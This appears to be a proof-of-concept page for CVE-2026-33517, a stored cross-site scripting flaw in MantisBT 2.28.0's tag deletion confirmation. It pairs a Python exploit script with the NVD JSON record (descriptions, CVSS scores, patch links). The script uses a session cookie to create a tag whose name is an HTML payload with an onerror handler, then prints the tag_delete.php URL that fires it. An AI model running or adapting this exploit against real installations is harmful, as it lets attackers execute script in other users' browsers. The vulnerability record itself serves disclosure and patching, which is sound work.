CVE-2026-33517

# PoC for CVE-2026-33517 # This script demonstrates how to trigger the XSS by creating a malicious tag. import requests def exploit(target_url, session_cookie): """ Exploit CVE-2026-33517 by creating a tag with XSS payload and simulating a visit to the delete confirmation page. """ headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } # 1. Create a malicious tag containing a JavaScript payload payload = "<img src=x onerror=alert('CVE-2026-33517_XSS')>" create_tag_url = f"{target_url}/tag_create.php" # Data required to create a tag (simplified) data = { "name": payload, "description": "PoC Tag for CVE-2026-33517" } try: # Note: CSRF tokens might be required in a real scenario response = requests.post(create_tag_url, headers=headers, data=data) if response.status_code == 200: print("[+] Malicious tag created successfully.") print(f"[+] Payload injected: {payload}") else: print(f"[-] Failed to create tag. Status code: {response.status_code}") return # 2. Trigger the vulnerability (Simulate clicking delete) # In a real attack, the attacker would send the link to the victim. # Assuming tag ID is 1 for demonstration. delete_url = f"{target_url}/tag_delete.php?tag_id=1" print(f"[+] Navigate to this URL to trigger the vulnerability (Reflected/Contextual XSS): {delete_url}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # exploit("http://localhost/mantisbt", "MANTIS_SESSION_COOKIE=...")

{"cve": {"id": "CVE-2026-33517", "sourceIdentifier": "[email protected]", "published": "2026-03-23T20:16:27.533", "lastModified": "2026-03-25T13:58:07.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mantis Bug Tracker (MantisBT) is an open source issue tracker. In version 2.28.0, when deleting a Tag (tag_delete.php), improper escaping of its name when displaying the confirmation message allows an attacker to inject HTML and, if CSP settings permit, achieve execution of arbitrary JavaScript. Version 2.28.1 fixes the issue. Workarounds include reverting commit d6890320752ecf37bd74d11fe14fe7dc12335be9 and/or manually editing language files to remove the sprintf placeholder `%1$s` from `$s_tag_delete_message` string."}, {"lang": "es", "value": "Mantis Bug Tracker (MantisBT) es un sistema de seguimiento de incidencias de código abierto. En la versión 2.28.0, al eliminar una Etiqueta (tag_delete.php), un escape incorrecto de su nombre al mostrar el mensaje de confirmación permite a un atacante inyectar HTML y, si la configuración de CSP lo permite, lograr la ejecución de JavaScript arbitrario. La versión 2.28.1 corrige el problema. Las soluciones provisionales incluyen revertir el commit d6890320752ecf37bd74d11fe14fe7dc12335be9 y/o editar manualmente los archivos de idioma para eliminar el marcador de posición sprintf %1$s de la cadena $s_tag_delete_message."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mantisbt:mantisbt:2.28.0:*:*:*:*:*:*:*", "matchCriteriaId": "7CD11245-68F0-43F7-A710-5347D626FFD8"}]}]}], "references": [{"url": "https://github.com/mantisbt/mantisbt/commit/80990f43153167c73f11eb4b2bc7108d0c3d6b46", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mantisbt/mantisbt/commit/d6890320752ecf37bd74d11fe14fe7dc12335be9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-fh48-f69w-7vmp", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Mitigation"]}]}}